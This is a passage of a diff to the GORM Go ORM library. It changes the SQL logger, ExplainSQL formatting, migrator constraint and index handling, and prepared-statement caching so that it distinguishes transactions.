var ErrRecordNotFound = errors.New("record not found")
|
||||
|
||||
// Colors
|
||||
const (
|
||||
Reset = "\033[0m"
|
||||
@@ -43,9 +46,10 @@ type Writer interface {
|
||||
}
|
||||
|
||||
type Config struct {
|
||||
SlowThreshold time.Duration
|
||||
Colorful bool
|
||||
LogLevel LogLevel
|
||||
SlowThreshold time.Duration
|
||||
Colorful bool
|
||||
IgnoreRecordNotFoundError bool
|
||||
LogLevel LogLevel
|
||||
}
|
||||
|
||||
// Interface logger interface
|
||||
@@ -54,15 +58,16 @@ type Interface interface {
|
||||
Info(context.Context, string, ...interface{})
|
||||
Warn(context.Context, string, ...interface{})
|
||||
Error(context.Context, string, ...interface{})
|
||||
Trace(ctx context.Context, begin time.Time, fc func() (string, int64), err error)
|
||||
Trace(ctx context.Context, begin time.Time, fc func() (sql string, rowsAffected int64), err error)
|
||||
}
|
||||
|
||||
var (
|
||||
Discard = New(log.New(ioutil.Discard, "", log.LstdFlags), Config{})
|
||||
Default = New(log.New(os.Stdout, "\r\n", log.LstdFlags), Config{
|
||||
SlowThreshold: 200 * time.Millisecond,
|
||||
LogLevel: Warn,
|
||||
Colorful: true,
|
||||
SlowThreshold: 200 * time.Millisecond,
|
||||
LogLevel: Warn,
|
||||
IgnoreRecordNotFoundError: false,
|
||||
Colorful: true,
|
||||
})
|
||||
Recorder = traceRecorder{Interface: Default, BeginAt: time.Now()}
|
||||
)
|
||||
@@ -135,31 +140,34 @@ func (l logger) Error(ctx context.Context, msg string, data ...interface{}) {
|
||||
|
||||
// Trace print sql message
|
||||
func (l logger) Trace(ctx context.Context, begin time.Time, fc func() (string, int64), err error) {
|
||||
if l.LogLevel > 0 {
|
||||
elapsed := time.Since(begin)
|
||||
switch {
|
||||
case err != nil && l.LogLevel >= Error:
|
||||
sql, rows := fc()
|
||||
if rows == -1 {
|
||||
l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, "-", sql)
|
||||
} else {
|
||||
l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, rows, sql)
|
||||
}
|
||||
case elapsed > l.SlowThreshold && l.SlowThreshold != 0 && l.LogLevel >= Warn:
|
||||
sql, rows := fc()
|
||||
slowLog := fmt.Sprintf("SLOW SQL >= %v", l.SlowThreshold)
|
||||
if rows == -1 {
|
||||
l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, "-", sql)
|
||||
} else {
|
||||
l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, rows, sql)
|
||||
}
|
||||
case l.LogLevel >= Info:
|
||||
sql, rows := fc()
|
||||
if rows == -1 {
|
||||
l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, "-", sql)
|
||||
} else {
|
||||
l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, rows, sql)
|
||||
}
|
||||
|
||||
if l.LogLevel <= Silent {
|
||||
return
|
||||
}
|
||||
|
||||
elapsed := time.Since(begin)
|
||||
switch {
|
||||
case err != nil && l.LogLevel >= Error && (!errors.Is(err, ErrRecordNotFound) || !l.IgnoreRecordNotFoundError):
|
||||
sql, rows := fc()
|
||||
if rows == -1 {
|
||||
l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, "-", sql)
|
||||
} else {
|
||||
l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, rows, sql)
|
||||
}
|
||||
case elapsed > l.SlowThreshold && l.SlowThreshold != 0 && l.LogLevel >= Warn:
|
||||
sql, rows := fc()
|
||||
slowLog := fmt.Sprintf("SLOW SQL >= %v", l.SlowThreshold)
|
||||
if rows == -1 {
|
||||
l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, "-", sql)
|
||||
} else {
|
||||
l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, rows, sql)
|
||||
}
|
||||
case l.LogLevel == Info:
|
||||
sql, rows := fc()
|
||||
if rows == -1 {
|
||||
l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, "-", sql)
|
||||
} else {
|
||||
l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, rows, sql)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+22
-16
@@ -13,6 +13,12 @@ import (
|
||||
"gorm.io/gorm/utils"
|
||||
)
|
||||
|
||||
const (
|
||||
tmFmtWithMS = "2006-01-02 15:04:05.999"
|
||||
tmFmtZero = "0000-00-00 00:00:00"
|
||||
nullStr = "NULL"
|
||||
)
|
||||
|
||||
func isPrintable(s []byte) bool {
|
||||
for _, r := range s {
|
||||
if !unicode.IsPrint(rune(r)) {
|
||||
@@ -22,7 +28,7 @@ func isPrintable(s []byte) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
var convertableTypes = []reflect.Type{reflect.TypeOf(time.Time{}), reflect.TypeOf(false), reflect.TypeOf([]byte{})}
|
||||
var convertibleTypes = []reflect.Type{reflect.TypeOf(time.Time{}), reflect.TypeOf(false), reflect.TypeOf([]byte{})}
|
||||
|
||||
func ExplainSQL(sql string, numericPlaceholder *regexp.Regexp, escaper string, avars ...interface{}) string {
|
||||
var convertParams func(interface{}, int)
|
||||
@@ -34,26 +40,19 @@ func ExplainSQL(sql string, numericPlaceholder *regexp.Regexp, escaper string, a
|
||||
vars[idx] = strconv.FormatBool(v)
|
||||
case time.Time:
|
||||
if v.IsZero() {
|
||||
vars[idx] = escaper + "0000-00-00 00:00:00" + escaper
|
||||
vars[idx] = escaper + tmFmtZero + escaper
|
||||
} else {
|
||||
vars[idx] = escaper + v.Format("2006-01-02 15:04:05.999") + escaper
|
||||
vars[idx] = escaper + v.Format(tmFmtWithMS) + escaper
|
||||
}
|
||||
case *time.Time:
|
||||
if v != nil {
|
||||
if v.IsZero() {
|
||||
vars[idx] = escaper + "0000-00-00 00:00:00" + escaper
|
||||
vars[idx] = escaper + tmFmtZero + escaper
|
||||
} else {
|
||||
vars[idx] = escaper + v.Format("2006-01-02 15:04:05.999") + escaper
|
||||
vars[idx] = escaper + v.Format(tmFmtWithMS) + escaper
|
||||
}
|
||||
} else {
|
||||
vars[idx] = "NULL"
|
||||
}
|
||||
case fmt.Stringer:
|
||||
reflectValue := reflect.ValueOf(v)
|
||||
if v != nil && reflectValue.IsValid() && ((reflectValue.Kind() == reflect.Ptr && !reflectValue.IsNil()) || reflectValue.Kind() != reflect.Ptr) {
|
||||
vars[idx] = escaper + strings.Replace(fmt.Sprintf("%v", v), escaper, "\\"+escaper, -1) + escaper
|
||||
} else {
|
||||
vars[idx] = "NULL"
|
||||
vars[idx] = nullStr
|
||||
}
|
||||
case driver.Valuer:
|
||||
reflectValue := reflect.ValueOf(v)
|
||||
@@ -61,7 +60,14 @@ func ExplainSQL(sql string, numericPlaceholder *regexp.Regexp, escaper string, a
|
||||
r, _ := v.Value()
|
||||
convertParams(r, idx)
|
||||
} else {
|
||||
vars[idx] = "NULL"
|
||||
vars[idx] = nullStr
|
||||
}
|
||||
case fmt.Stringer:
|
||||
reflectValue := reflect.ValueOf(v)
|
||||
if v != nil && reflectValue.IsValid() && ((reflectValue.Kind() == reflect.Ptr && !reflectValue.IsNil()) || reflectValue.Kind() != reflect.Ptr) {
|
||||
vars[idx] = escaper + strings.Replace(fmt.Sprintf("%v", v), escaper, "\\"+escaper, -1) + escaper
|
||||
} else {
|
||||
vars[idx] = nullStr
|
||||
}
|
||||
case []byte:
|
||||
if isPrintable(v) {
|
||||
@@ -78,14 +84,14 @@ func ExplainSQL(sql string, numericPlaceholder *regexp.Regexp, escaper string, a
|
||||
default:
|
||||
rv := reflect.ValueOf(v)
|
||||
if v == nil || !rv.IsValid() || rv.Kind() == reflect.Ptr && rv.IsNil() {
|
||||
vars[idx] = "NULL"
|
||||
vars[idx] = nullStr
|
||||
} else if valuer, ok := v.(driver.Valuer); ok {
|
||||
v, _ = valuer.Value()
|
||||
convertParams(v, idx)
|
||||
} else if rv.Kind() == reflect.Ptr && !rv.IsZero() {
|
||||
convertParams(reflect.Indirect(rv).Interface(), idx)
|
||||
} else {
|
||||
for _, t := range convertableTypes {
|
||||
for _, t := range convertibleTypes {
|
||||
if rv.Type().ConvertibleTo(t) {
|
||||
convertParams(rv.Convert(t).Interface(), idx)
|
||||
return
|
||||
|
||||
+12
-1
@@ -7,7 +7,18 @@ import (
|
||||
|
||||
// Migrator returns migrator
|
||||
func (db *DB) Migrator() Migrator {
|
||||
return db.Dialector.Migrator(db.Session(&Session{WithConditions: true}))
|
||||
tx := db.getInstance()
|
||||
|
||||
// apply scopes to migrator
|
||||
for len(tx.Statement.scopes) > 0 {
|
||||
scopes := tx.Statement.scopes
|
||||
tx.Statement.scopes = nil
|
||||
for _, scope := range scopes {
|
||||
tx = scope(tx)
|
||||
}
|
||||
}
|
||||
|
||||
return tx.Dialector.Migrator(tx.Session(&Session{}))
|
||||
}
|
||||
|
||||
// AutoMigrate run auto migration for given models
|
||||
|
||||
+144
-70
@@ -2,6 +2,7 @@ package migrator
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"reflect"
|
||||
"regexp"
|
||||
@@ -12,6 +13,11 @@ import (
|
||||
"gorm.io/gorm/schema"
|
||||
)
|
||||
|
||||
var (
|
||||
regRealDataType = regexp.MustCompile(`[^\d](\d+)[^\d]?`)
|
||||
regFullDataType = regexp.MustCompile(`[^\d]*(\d+)[^\d]?`)
|
||||
)
|
||||
|
||||
// Migrator m struct
|
||||
type Migrator struct {
|
||||
Config
|
||||
@@ -114,13 +120,10 @@ func (m Migrator) AutoMigrate(values ...interface{}) error {
|
||||
|
||||
for _, rel := range stmt.Schema.Relationships.Relations {
|
||||
if !m.DB.Config.DisableForeignKeyConstraintWhenMigrating {
|
||||
if constraint := rel.ParseConstraint(); constraint != nil {
|
||||
if constraint.Schema == stmt.Schema {
|
||||
if !tx.Migrator().HasConstraint(value, constraint.Name) {
|
||||
if err := tx.Migrator().CreateConstraint(value, constraint.Name); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if constraint := rel.ParseConstraint(); constraint != nil &&
|
||||
constraint.Schema == stmt.Schema && !tx.Migrator().HasConstraint(value, constraint.Name) {
|
||||
if err := tx.Migrator().CreateConstraint(value, constraint.Name); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -164,10 +167,12 @@ func (m Migrator) CreateTable(values ...interface{}) error {
|
||||
|
||||
for _, dbName := range stmt.Schema.DBNames {
|
||||
field := stmt.Schema.FieldsByDBName[dbName]
|
||||
createTableSQL += "? ?"
|
||||
hasPrimaryKeyInDataType = hasPrimaryKeyInDataType || strings.Contains(strings.ToUpper(string(field.DataType)), "PRIMARY KEY")
|
||||
values = append(values, clause.Column{Name: dbName}, m.DB.Migrator().FullDataTypeOf(field))
|
||||
createTableSQL += ","
|
||||
if !field.IgnoreMigration {
|
||||
createTableSQL += "? ?"
|
||||
hasPrimaryKeyInDataType = hasPrimaryKeyInDataType || strings.Contains(strings.ToUpper(string(field.DataType)), "PRIMARY KEY")
|
||||
values = append(values, clause.Column{Name: dbName}, m.DB.Migrator().FullDataTypeOf(field))
|
||||
createTableSQL += ","
|
||||
}
|
||||
}
|
||||
|
||||
if !hasPrimaryKeyInDataType && len(stmt.Schema.PrimaryFields) > 0 {
|
||||
@@ -183,7 +188,9 @@ func (m Migrator) CreateTable(values ...interface{}) error {
|
||||
for _, idx := range stmt.Schema.ParseIndexes() {
|
||||
if m.CreateIndexAfterCreateTable {
|
||||
defer func(value interface{}, name string) {
|
||||
errr = tx.Migrator().CreateIndex(value, name)
|
||||
if errr == nil {
|
||||
errr = tx.Migrator().CreateIndex(value, name)
|
||||
}
|
||||
}(value, idx.Name)
|
||||
} else {
|
||||
if idx.Class != "" {
|
||||
@@ -191,6 +198,10 @@ func (m Migrator) CreateTable(values ...interface{}) error {
|
||||
}
|
||||
createTableSQL += "INDEX ? ?"
|
||||
|
||||
if idx.Comment != "" {
|
||||
createTableSQL += fmt.Sprintf(" COMMENT '%s'", idx.Comment)
|
||||
}
|
||||
|
||||
if idx.Option != "" {
|
||||
createTableSQL += " " + idx.Option
|
||||
}
|
||||
@@ -287,13 +298,20 @@ func (m Migrator) RenameTable(oldName, newName interface{}) error {
|
||||
|
||||
func (m Migrator) AddColumn(value interface{}, field string) error {
|
||||
return m.RunWithValue(value, func(stmt *gorm.Statement) error {
|
||||
if field := stmt.Schema.LookUpField(field); field != nil {
|
||||
// avoid using the same name field
|
||||
f := stmt.Schema.LookUpField(field)
|
||||
if f == nil {
|
||||
return fmt.Errorf("failed to look up field with name: %s", field)
|
||||
}
|
||||
|
||||
if !f.IgnoreMigration {
|
||||
return m.DB.Exec(
|
||||
"ALTER TABLE ? ADD ? ?",
|
||||
m.CurrentTable(stmt), clause.Column{Name: field.DBName}, m.DB.Migrator().FullDataTypeOf(field),
|
||||
m.CurrentTable(stmt), clause.Column{Name: f.DBName}, m.DB.Migrator().FullDataTypeOf(f),
|
||||
).Error
|
||||
}
|
||||
return fmt.Errorf("failed to look up field with name: %s", field)
|
||||
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
@@ -371,9 +389,11 @@ func (m Migrator) MigrateColumn(value interface{}, field *schema.Field, columnTy
|
||||
alterColumn = true
|
||||
} else {
|
||||
// has size in data type and not equal
|
||||
matches := regexp.MustCompile(`[^\d](\d+)[^\d]?`).FindAllStringSubmatch(realDataType, -1)
|
||||
matches2 := regexp.MustCompile(`[^\d]*(\d+)[^\d]?`).FindAllStringSubmatch(fullDataType, -1)
|
||||
if (len(matches) == 1 && matches[0][1] != fmt.Sprint(field.Size) || !field.PrimaryKey) && (len(matches2) == 1 && matches2[0][1] != fmt.Sprint(length)) {
|
||||
// Since the following code is frequently called in the for loop, reg optimization is needed here
|
||||
matches := regRealDataType.FindAllStringSubmatch(realDataType, -1)
|
||||
matches2 := regFullDataType.FindAllStringSubmatch(fullDataType, -1)
|
||||
if (len(matches) == 1 && matches[0][1] != fmt.Sprint(field.Size) || !field.PrimaryKey) &&
|
||||
(len(matches2) == 1 && matches2[0][1] != fmt.Sprint(length)) {
|
||||
alterColumn = true
|
||||
}
|
||||
}
|
||||
@@ -381,7 +401,7 @@ func (m Migrator) MigrateColumn(value interface{}, field *schema.Field, columnTy
|
||||
|
||||
// check precision
|
||||
if precision, _, ok := columnType.DecimalSize(); ok && int64(field.Precision) != precision {
|
||||
if strings.Contains(fullDataType, fmt.Sprint(field.Precision)) {
|
||||
if regexp.MustCompile(fmt.Sprintf("[^0-9]%d[^0-9]", field.Precision)).MatchString(m.DataTypeOf(field)) {
|
||||
alterColumn = true
|
||||
}
|
||||
}
|
||||
@@ -394,29 +414,38 @@ func (m Migrator) MigrateColumn(value interface{}, field *schema.Field, columnTy
|
||||
}
|
||||
}
|
||||
|
||||
if alterColumn {
|
||||
if alterColumn && !field.IgnoreMigration {
|
||||
return m.DB.Migrator().AlterColumn(value, field.Name)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m Migrator) ColumnTypes(value interface{}) (columnTypes []gorm.ColumnType, err error) {
|
||||
columnTypes = make([]gorm.ColumnType, 0)
|
||||
err = m.RunWithValue(value, func(stmt *gorm.Statement) error {
|
||||
// ColumnTypes return columnTypes []gorm.ColumnType and execErr error
|
||||
func (m Migrator) ColumnTypes(value interface{}) ([]gorm.ColumnType, error) {
|
||||
columnTypes := make([]gorm.ColumnType, 0)
|
||||
execErr := m.RunWithValue(value, func(stmt *gorm.Statement) error {
|
||||
rows, err := m.DB.Session(&gorm.Session{}).Table(stmt.Table).Limit(1).Rows()
|
||||
if err == nil {
|
||||
defer rows.Close()
|
||||
rawColumnTypes, err := rows.ColumnTypes()
|
||||
if err == nil {
|
||||
for _, c := range rawColumnTypes {
|
||||
columnTypes = append(columnTypes, c)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return err
|
||||
|
||||
defer rows.Close()
|
||||
|
||||
var rawColumnTypes []*sql.ColumnType
|
||||
rawColumnTypes, err = rows.ColumnTypes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, c := range rawColumnTypes {
|
||||
columnTypes = append(columnTypes, c)
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
return
|
||||
|
||||
return columnTypes, execErr
|
||||
}
|
||||
|
||||
func (m Migrator) CreateView(name string, option gorm.ViewOption) error {
|
||||
@@ -449,50 +478,82 @@ func buildConstraint(constraint *schema.Constraint) (sql string, results []inter
|
||||
return
|
||||
}
|
||||
|
||||
func (m Migrator) GuessConstraintAndTable(stmt *gorm.Statement, name string) (_ *schema.Constraint, _ *schema.Check, table string) {
|
||||
if stmt.Schema == nil {
|
||||
return nil, nil, stmt.Table
|
||||
}
|
||||
|
||||
checkConstraints := stmt.Schema.ParseCheckConstraints()
|
||||
if chk, ok := checkConstraints[name]; ok {
|
||||
return nil, &chk, stmt.Table
|
||||
}
|
||||
|
||||
getTable := func(rel *schema.Relationship) string {
|
||||
switch rel.Type {
|
||||
case schema.HasOne, schema.HasMany:
|
||||
return rel.FieldSchema.Table
|
||||
case schema.Many2Many:
|
||||
return rel.JoinTable.Table
|
||||
}
|
||||
return stmt.Table
|
||||
}
|
||||
|
||||
for _, rel := range stmt.Schema.Relationships.Relations {
|
||||
if constraint := rel.ParseConstraint(); constraint != nil && constraint.Name == name {
|
||||
return constraint, nil, getTable(rel)
|
||||
}
|
||||
}
|
||||
|
||||
if field := stmt.Schema.LookUpField(name); field != nil {
|
||||
for k := range checkConstraints {
|
||||
if checkConstraints[k].Field == field {
|
||||
v := checkConstraints[k]
|
||||
return nil, &v, stmt.Table
|
||||
}
|
||||
}
|
||||
|
||||
for _, rel := range stmt.Schema.Relationships.Relations {
|
||||
if constraint := rel.ParseConstraint(); constraint != nil && rel.Field == field {
|
||||
return constraint, nil, getTable(rel)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil, nil, stmt.Schema.Table
|
||||
}
|
||||
|
||||
func (m Migrator) CreateConstraint(value interface{}, name string) error {
|
||||
return m.RunWithValue(value, func(stmt *gorm.Statement) error {
|
||||
checkConstraints := stmt.Schema.ParseCheckConstraints()
|
||||
if chk, ok := checkConstraints[name]; ok {
|
||||
constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
|
||||
if chk != nil {
|
||||
return m.DB.Exec(
|
||||
"ALTER TABLE ? ADD CONSTRAINT ? CHECK (?)",
|
||||
m.CurrentTable(stmt), clause.Column{Name: chk.Name}, clause.Expr{SQL: chk.Constraint},
|
||||
).Error
|
||||
}
|
||||
|
||||
for _, rel := range stmt.Schema.Relationships.Relations {
|
||||
if constraint := rel.ParseConstraint(); constraint != nil && constraint.Name == name {
|
||||
sql, values := buildConstraint(constraint)
|
||||
return m.DB.Exec("ALTER TABLE ? ADD "+sql, append([]interface{}{m.CurrentTable(stmt)}, values...)...).Error
|
||||
if constraint != nil {
|
||||
var vars = []interface{}{clause.Table{Name: table}}
|
||||
if stmt.TableExpr != nil {
|
||||
vars[0] = stmt.TableExpr
|
||||
}
|
||||
sql, values := buildConstraint(constraint)
|
||||
return m.DB.Exec("ALTER TABLE ? ADD "+sql, append(vars, values...)...).Error
|
||||
}
|
||||
|
||||
err := fmt.Errorf("failed to create constraint with name %v", name)
|
||||
if field := stmt.Schema.LookUpField(name); field != nil {
|
||||
for _, cc := range checkConstraints {
|
||||
if err = m.DB.Migrator().CreateIndex(value, cc.Name); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
for _, rel := range stmt.Schema.Relationships.Relations {
|
||||
if constraint := rel.ParseConstraint(); constraint != nil && constraint.Field == field {
|
||||
if err = m.DB.Migrator().CreateIndex(value, constraint.Name); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return err
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
func (m Migrator) DropConstraint(value interface{}, name string) error {
|
||||
return m.RunWithValue(value, func(stmt *gorm.Statement) error {
|
||||
return m.DB.Exec(
|
||||
"ALTER TABLE ? DROP CONSTRAINT ?",
|
||||
m.CurrentTable(stmt), clause.Column{Name: name},
|
||||
).Error
|
||||
constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
|
||||
if constraint != nil {
|
||||
name = constraint.Name
|
||||
} else if chk != nil {
|
||||
name = chk.Name
|
||||
}
|
||||
return m.DB.Exec("ALTER TABLE ? DROP CONSTRAINT ?", clause.Table{Name: table}, clause.Column{Name: name}).Error
|
||||
})
|
||||
}
|
||||
|
||||
@@ -500,9 +561,16 @@ func (m Migrator) HasConstraint(value interface{}, name string) bool {
|
||||
var count int64
|
||||
m.RunWithValue(value, func(stmt *gorm.Statement) error {
|
||||
currentDatabase := m.DB.Migrator().CurrentDatabase()
|
||||
constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
|
||||
if constraint != nil {
|
||||
name = constraint.Name
|
||||
} else if chk != nil {
|
||||
name = chk.Name
|
||||
}
|
||||
|
||||
return m.DB.Raw(
|
||||
"SELECT count(*) FROM INFORMATION_SCHEMA.table_constraints WHERE constraint_schema = ? AND table_name = ? AND constraint_name = ?",
|
||||
currentDatabase, stmt.Table, name,
|
||||
currentDatabase, table, name,
|
||||
).Row().Scan(&count)
|
||||
})
|
||||
|
||||
@@ -550,6 +618,10 @@ func (m Migrator) CreateIndex(value interface{}, name string) error {
|
||||
createIndexSQL += " USING " + idx.Type
|
||||
}
|
||||
|
||||
if idx.Comment != "" {
|
||||
createIndexSQL += fmt.Sprintf(" COMMENT '%s'", idx.Comment)
|
||||
}
|
||||
|
||||
if idx.Option != "" {
|
||||
createIndexSQL += " " + idx.Option
|
||||
}
|
||||
@@ -557,7 +629,7 @@ func (m Migrator) CreateIndex(value interface{}, name string) error {
|
||||
return m.DB.Exec(createIndexSQL, values...).Error
|
||||
}
|
||||
|
||||
return fmt.Errorf("failed to create index with name %v", name)
|
||||
return fmt.Errorf("failed to create index with name %s", name)
|
||||
})
|
||||
}
|
||||
|
||||
@@ -667,13 +739,15 @@ func (m Migrator) ReorderModels(values []interface{}, autoAdd bool) (results []i
|
||||
}
|
||||
orderedModelNamesMap[name] = true
|
||||
|
||||
dep := valuesMap[name]
|
||||
for _, d := range dep.Depends {
|
||||
if _, ok := valuesMap[d.Table]; ok {
|
||||
insertIntoOrderedList(d.Table)
|
||||
} else if autoAdd {
|
||||
parseDependence(reflect.New(d.ModelType).Interface(), autoAdd)
|
||||
insertIntoOrderedList(d.Table)
|
||||
if autoAdd {
|
||||
dep := valuesMap[name]
|
||||
for _, d := range dep.Depends {
|
||||
if _, ok := valuesMap[d.Table]; ok {
|
||||
insertIntoOrderedList(d.Table)
|
||||
} else {
|
||||
parseDependence(reflect.New(d.ModelType).Interface(), autoAdd)
|
||||
insertIntoOrderedList(d.Table)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+41
-22
@@ -6,28 +6,45 @@ import (
|
||||
"sync"
|
||||
)
|
||||
|
||||
type Stmt struct {
|
||||
*sql.Stmt
|
||||
Transaction bool
|
||||
}
|
||||
|
||||
type PreparedStmtDB struct {
|
||||
Stmts map[string]*sql.Stmt
|
||||
Stmts map[string]Stmt
|
||||
PreparedSQL []string
|
||||
Mux *sync.RWMutex
|
||||
ConnPool
|
||||
}
|
||||
|
||||
func (db *PreparedStmtDB) GetDBConn() (*sql.DB, error) {
|
||||
if dbConnector, ok := db.ConnPool.(GetDBConnector); ok && dbConnector != nil {
|
||||
return dbConnector.GetDBConn()
|
||||
}
|
||||
|
||||
if sqldb, ok := db.ConnPool.(*sql.DB); ok {
|
||||
return sqldb, nil
|
||||
}
|
||||
|
||||
return nil, ErrInvalidDB
|
||||
}
|
||||
|
||||
func (db *PreparedStmtDB) Close() {
|
||||
db.Mux.Lock()
|
||||
for _, query := range db.PreparedSQL {
|
||||
if stmt, ok := db.Stmts[query]; ok {
|
||||
delete(db.Stmts, query)
|
||||
stmt.Close()
|
||||
go stmt.Close()
|
||||
}
|
||||
}
|
||||
|
||||
db.Mux.Unlock()
|
||||
}
|
||||
|
||||
func (db *PreparedStmtDB) prepare(ctx context.Context, query string) (*sql.Stmt, error) {
|
||||
func (db *PreparedStmtDB) prepare(ctx context.Context, conn ConnPool, isTransaction bool, query string) (Stmt, error) {
|
||||
db.Mux.RLock()
|
||||
if stmt, ok := db.Stmts[query]; ok {
|
||||
if stmt, ok := db.Stmts[query]; ok && (!stmt.Transaction || isTransaction) {
|
||||
db.Mux.RUnlock()
|
||||
return stmt, nil
|
||||
}
|
||||
@@ -35,19 +52,21 @@ func (db *PreparedStmtDB) prepare(ctx context.Context, query string) (*sql.Stmt,
|
||||
|
||||
db.Mux.Lock()
|
||||
// double check
|
||||
if stmt, ok := db.Stmts[query]; ok {
|
||||
if stmt, ok := db.Stmts[query]; ok && (!stmt.Transaction || isTransaction) {
|
||||
db.Mux.Unlock()
|
||||
return stmt, nil
|
||||
} else if ok {
|
||||
go stmt.Close()
|
||||
}
|
||||
|
||||
stmt, err := db.ConnPool.PrepareContext(ctx, query)
|
||||
stmt, err := conn.PrepareContext(ctx, query)
|
||||
if err == nil {
|
||||
db.Stmts[query] = stmt
|
||||
db.Stmts[query] = Stmt{Stmt: stmt, Transaction: isTransaction}
|
||||
db.PreparedSQL = append(db.PreparedSQL, query)
|
||||
}
|
||||
db.Mux.Unlock()
|
||||
defer db.Mux.Unlock()
|
||||
|
||||
return stmt, err
|
||||
return db.Stmts[query], err
|
||||
}
|
||||
|
||||
func (db *PreparedStmtDB) BeginTx(ctx context.Context, opt *sql.TxOptions) (ConnPool, error) {
|
||||
@@ -59,12 +78,12 @@ func (db *PreparedStmtDB) BeginTx(ctx context.Context, opt *sql.TxOptions) (Conn
|
||||
}
|
||||
|
||||
func (db *PreparedStmtDB) ExecContext(ctx context.Context, query string, args ...interface{}) (result sql.Result, err error) {
|
||||
stmt, err := db.prepare(ctx, query)
|
||||
stmt, err := db.prepare(ctx, db.ConnPool, false, query)
|
||||
if err == nil {
|
||||
result, err = stmt.ExecContext(ctx, args...)
|
||||
if err != nil {
|
||||
db.Mux.Lock()
|
||||
stmt.Close()
|
||||
go stmt.Close()
|
||||
delete(db.Stmts, query)
|
||||
db.Mux.Unlock()
|
||||
}
|
||||
@@ -73,12 +92,12 @@ func (db *PreparedStmtDB) ExecContext(ctx context.Context, query string, args ..
|
||||
}
|
||||
|
||||
func (db *PreparedStmtDB) QueryContext(ctx context.Context, query string, args ...interface{}) (rows *sql.Rows, err error) {
|
||||
stmt, err := db.prepare(ctx, query)
|
||||
stmt, err := db.prepare(ctx, db.ConnPool, false, query)
|
||||
if err == nil {
|
||||
rows, err = stmt.QueryContext(ctx, args...)
|
||||
if err != nil {
|
||||
db.Mux.Lock()
|
||||
stmt.Close()
|
||||
go stmt.Close()
|
||||
delete(db.Stmts, query)
|
||||
db.Mux.Unlock()
|
||||
}
|
||||
@@ -87,7 +106,7 @@ func (db *PreparedStmtDB) QueryContext(ctx context.Context, query string, args .
|
||||
}
|
||||
|
||||
func (db *PreparedStmtDB) QueryRowContext(ctx context.Context, query string, args ...interface{}) *sql.Row {
|
||||
stmt, err := db.prepare(ctx, query)
|
||||
stmt, err := db.prepare(ctx, db.ConnPool, false, query)
|
||||
if err == nil {
|
||||
return stmt.QueryRowContext(ctx, args...)
|
||||
}
|
||||
@@ -114,12 +133,12 @@ func (tx *PreparedStmtTX) Rollback() error {
|
||||
}
|
||||
|
||||
func (tx *PreparedStmtTX) ExecContext(ctx context.Context, query string, args ...interface{}) (result sql.Result, err error) {
|
||||
stmt, err := tx.PreparedStmtDB.prepare(ctx, query)
|
||||
stmt, err := tx.PreparedStmtDB.prepare(ctx, tx.Tx, true, query)
|
||||
if err == nil {
|
||||
result, err = tx.Tx.StmtContext(ctx, stmt).ExecContext(ctx, args...)
|
||||
result, err = tx.Tx.StmtContext(ctx, stmt.Stmt).ExecContext(ctx, args...)
|
||||
if err != nil {
|
||||
tx.PreparedStmtDB.Mux.Lock()
|
||||
stmt.Close()
|
||||
go stmt.Close()
|
||||
delete(tx.PreparedStmtDB.Stmts, query)
|
||||
tx.PreparedStmtDB.Mux.Unlock()
|
||||
}
|
||||
@@ -128,12 +147,12 @@ func (tx *PreparedStmtTX) ExecContext(ctx context.Context, query string, args ..
|
||||
}
|
||||
|
||||
func (tx *PreparedStmtTX) QueryContext(ctx context.Context, query string, args ...interface{}) (rows *sql.Rows, err error) {
|
||||
stmt, err := tx.PreparedStmtDB.prepare(ctx, query)
|
||||
stmt, err := tx.PreparedStmtDB.prepare(ctx, tx.Tx, true, query)
|
||||
if err == nil {
|
||||
rows, err = tx.Tx.Stmt(stmt).QueryContext(ctx, args...)
|
||||
rows, err = tx.Tx.Stmt(stmt.Stmt).QueryContext(ctx, args...)
|
||||
if err != nil {
|
||||
tx.PreparedStmtDB.Mux.Lock()
|
||||
stmt.Close()
|
||||
go stmt.Close()
|
||||
delete(tx.PreparedStmtDB.Stmts, query)
|
||||
tx.PreparedStmtDB.Mux.Unlock()
|
||||
}
|
||||
@@ -142,9 +161,9 @@ func (tx *PreparedStmtTX) QueryContext(ctx context.Context, query string, args .
|
||||
}
|
||||
|
||||
